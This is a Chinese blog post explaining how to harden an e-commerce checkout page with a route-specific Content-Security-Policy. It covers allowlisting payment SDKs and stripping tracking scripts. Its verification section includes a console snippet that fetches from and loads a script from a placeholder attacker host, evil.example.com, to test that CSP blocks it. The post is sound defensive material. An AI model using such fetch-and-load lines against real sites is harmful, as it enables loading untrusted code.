电商结算页 CSP 实战:如何在不搞崩支付 SDK 的前提下加固安全

发布时间:2026/7/10 14:39:59
电商结算页 CSP 实战:如何在不搞崩支付 SDK 的前提下加固安全 电商结算页 CSP 实战如何在不搞崩支付 SDK 的前提下加固安全本文介绍一种「仅结算页启用 CSP 多层脚本剥离」的前端安全方案适用于集成 PayPal、Stripe、Google Pay 等多渠道支付的 SSR 电商项目。关键词Content-Security-Policy、CSP、支付页安全、点击劫持、GTM、SSR、Web 安全前言在电商项目中全站启用严格的 Content-Security-PolicyCSP往往代价很高营销脚本、客服组件、A/B 测试 SDK 遍布各页面一刀切很容易引发生产事故。但结算页不同——它处理支付信息安全要求更高PCI 审计也更关注第三方脚本。我们的做法是只在结算页下发 CSP同时剥离 GTM 等非必要追踪脚本支付 SDK 通过白名单放行。这样既满足安全合规又不影响其他页面的正常运营。一、为什么要「按页」做 CSP而不是全站方案优点缺点全站 CSP防护面最大维护成本高易误伤业务脚本仅结算页 CSP聚焦高风险页面改动范围可控需服务端按路由下发结算页的核心矛盾要放行PayPal / Stripe / Google Pay 等支付 SDKscript、iframe、API 请求要拦截GTM、广告像素、客服挂件等营销/追踪脚本要防嵌入避免被恶意站点 iframe 嵌套点击劫持二、整体架构┌─────────────────────────────────────────────────────────────┐ │ 用户访问 /checkout结算页 │ └──────────────────────────┬──────────────────────────────────┘ │ ┌─────────────────┼─────────────────┐ ▼ ▼ ▼ 服务端设置 CSP 头 SSR 剥离 GTM 脚本 客户端二次兜底移除 X-Frame-Options HTML 正则清洗 entry 入口脚本三层防护各司其职HTTP 响应头浏览器强制执行 CSP拦截违规资源加载SSR 清洗在 HTML 输出前去掉 GTM 等内联/外链脚本客户端兜底防止 hydration 或动态注入把追踪脚本带回来三、核心模块CSP 策略构建建议独立一个paymentPageCsp.js或.ts专门负责生成 CSP 字符串。3.1 路径判断// 结算页路径——按实际路由修改exportconstPAYMENT_PAGE_PATH/checkout;exportfunctionmatchesPaymentPageUrl(url){returnString(url||).includes(PAYMENT_PAGE_PATH);}3.2 域名白名单分类不要把所有域名堆在一个数组里按 CSP 指令类型分组后续维护会轻松很多// 自有站点constOWNED_SITE_ORIGINS[https://*.example.com,https://example.com,];// 支付 JS SDKconstALLOWED_SCRIPT_ORIGINS[https://www.paypal.com,https://www.paypalobjects.com,https://js.paypal.com,https://pay.google.com,https://www.gstatic.com,https://js.stripe.com,https://checkout.stripe.com,// ... 按实际接入渠道补充];// 支付 APIconnect-srcconstALLOWED_CONNECT_ORIGINS[...ALLOWED_SCRIPT_ORIGINS,https://api.stripe.com,];// 表单提交目标form-actionconstALLOWED_FORM_TARGETS[https://secure.payment-gateway.com,];// iframe 来源frame-src3DS 验证等constALLOWED_FRAME_ORIGINS[self,...OWNED_SITE_ORIGINS,https://www.paypal.com,https://js.stripe.com,https://hooks.stripe.com,// ...];3.3 构建 CSP 字符串/** * param {{ dev?: boolean; frameAncestors?: boolean }} options */exportfunctioncomposePaymentPageCsp(options{}){const{devfalse,frameAncestorsfalse}options;constscriptSrc[self,unsafe-inline,// 部分 UI 框架 / 支付 SDK 需要unsafe-eval,// 见下文「安全取舍」blob:,...OWNED_SITE_ORIGINS,...ALLOWED_SCRIPT_ORIGINS,];constconnectSrc[self,...OWNED_SITE_ORIGINS,...ALLOWED_CONNECT_ORIGINS];// 开发环境放行 HMRif(dev){connectSrc.push(http://localhost:*,ws://localhost:*,http://127.0.0.1:*,ws://127.0.0.1:*,);scriptSrc.push(http://localhost:*);}constdirectives[default-src self,script-src${scriptSrc.join( )},style-src self unsafe-inline${OWNED_SITE_ORIGINS.join( )},img-src self data: blob:${OWNED_SITE_ORIGINS.join( )}https://*.stripe.com,font-src self data:${OWNED_SITE_ORIGINS.join( )},connect-src${connectSrc.join( )},frame-src${ALLOWED_FRAME_ORIGINS.join( )},form-action self${OWNED_SITE_ORIGINS.join( )}${ALLOWED_FORM_TARGETS.join( )},worker-src self blob:${ALLOWED_SCRIPT_ORIGINS.join( )},object-src none,base-uri self,];if(frameAncestors){directives.push(frame-ancestors self);}returndirectives.join(; );}3.4 关于unsafe-eval的安全取舍部分支付网关的加密脚本如卡号加密 SDK在JSON.parse降级路径中会调用eval因此script-src可能需要保留unsafe-eval。建议接入支付渠道后在 Console 观察是否有eval相关 CSP 报错未使用该 SDK 的项目可尝试移除unsafe-eval并回归测试四、服务端集成SSR / Node4.1 设置响应头在 SSR 渲染完成、返回 HTML 之前import{composePaymentPageCsp,matchesPaymentPageUrl}from./paymentPageCsp.js;if(matchesPaymentPageUrl(req.url)){res.setHeader(Content-Security-Policy,composePaymentPageCsp({dev:!isProd,frameAncestors:true}),);res.setHeader(X-Frame-Options,DENY);}三个要点CSP 必须通过HTTP 响应头下发meta标签对frame-ancestors无效只对document 请求HTML 页面设置不要对 JS/CSS 静态资源全局加frame-ancestors selfX-Frame-Options: DENY双重防止 iframe 嵌入4.2 SSR 阶段剥离 GTM 脚本即使 CSP 能拦截也建议在服务端先把 GTM 从 HTML 里清掉减少无效请求和控制台噪音functionpurgeTrackingScripts(html,url){if(!matchesPaymentPageUrl(url))returnhtml;returnhtml.replace(/!--\s*gtm-start\s*--[\s\S]*?!--\s*gtm-end\s*--/g,).replace(/script[^]*data-hidgtm_dataLayer[^]*[\s\S]*?\/script/gi,).replace(/script[^]*src[^]*googletagmanager\.com[^]*[^]*\/script/gi,).replace(/noscript[^]*[\s\S]*?googletagmanager\.com[\s\S]*?\/noscript/gi,);}正则需根据项目 HTML 结构微调核心是覆盖注释块、内联 script、外链 script、noscript iframe。五、客户端集成5.1 路径判断前后端保持一致// utils/paymentPageCsp.tsexportconstPAYMENT_PAGE_PATH/checkout;exportfunctionmatchesPaymentPagePath(path:string):boolean{returnpath.includes(PAYMENT_PAGE_PATH);}5.2 入口兜底移除 GTM在应用mount之前尽早执行import{matchesPaymentPagePath}from/utils/paymentPageCsp;if(matchesPaymentPagePath(location.pathname)){document.querySelectorAll(script[src*googletagmanager.com]).forEach((node)node.remove());document.querySelectorAll(script[data-hidgtm_dataLayer]).forEach((node)node.remove());}5.3 应用层条件加载 SDKconstonPaymentPagematchesPaymentPagePath(route.path)||route.namePaymentPage;// 结算页不注入 GTM dataLayerconstheadScriptsonPaymentPage?[]:[{key:gtm_dataLayer,innerHTML:...}];// 结算页跳过 Cookie 横幅、客服、评价等非必要 SDKif(!onPaymentPage){initCookieBanner();initChatWidget();initMarketingSdk();}// 结算页保留支付风控 SDKinitFraudSdk();原则结算页只留支付必需的 SDK其余一律不加载。六、新增支付渠道时怎么补白名单接入新支付 SDK 后打开 Console 看 CSP 报错按关键词对号入座Console 报错需修改的指令Refused to load the scriptscript-srcRefused to connectconnect-srcRefused to frameframe-srcRefused to send formform-actionRefused to create a workerworker-src这是 CSP 运维的日常节奏报错 → 补域名 → 回归支付流程。七、如何验证 CSP 已生效7.1 检查响应头DevTools → Network → 选中 document 请求 → Response HeadersContent-Security-Policy: default-src self; script-src ... X-Frame-Options: DENY或用 curlcurl-Ihttps://example.com/checkout|grep-icontent-security-policy7.2 主动触发违规在结算页 Console 执行// 应被拦截fetch(https://evil.example.com/api);constsdocument.createElement(script);s.srchttps://evil.example.com/x.js;document.head.appendChild(s);预期出现Refused to ... violates Content-Security-Policy7.3 验证清单结算页 document 有 CSP 头其他页面没有恶意 script / fetch 被 Console 报错拦截同源业务 API 正常200 OK各支付渠道流程走通下单、3DS、回调结算页无googletagmanager.com脚本外部站点无法 iframe 嵌入结算页开发环境 HMR 正常八、常见问题Q1Network 里 200 OK但 Response 面板看不到 body通常不是 CSP。常见原因是 DevTools 未保留响应体、页面刷新、本地代理干扰。CSP 拦截会直接报Refused to connect不会让请求成功却隐藏 body。Q2前端 JS 能读取 CSP 响应头吗不能。CSP 由浏览器内部执行不提供 JS 读取 API。DevTools Network 面板可以看到。Q3为什么不用meta http-equivContent-Security-PolicyHTTP 响应头更可靠frame-ancestors在 meta 标签中无效服务端可以按路由灵活控制九、总结层级手段作用HTTP 头CSP X-Frame-Options限制资源加载、防 iframe 嵌入SSRHTML 正则清洗去掉 GTM 等追踪脚本客户端条件加载 兜底移除防止非必要 SDK 进入结算页这套方案的核心思路是安全策略跟着风险走而不是一刀切全站。结算页集中加固其他页面保持灵活是在安全与业务之间比较务实的平衡点。如果你也在做支付页安全加固欢迎评论区交流接入过程中遇到的 CSP 报错和踩坑经验。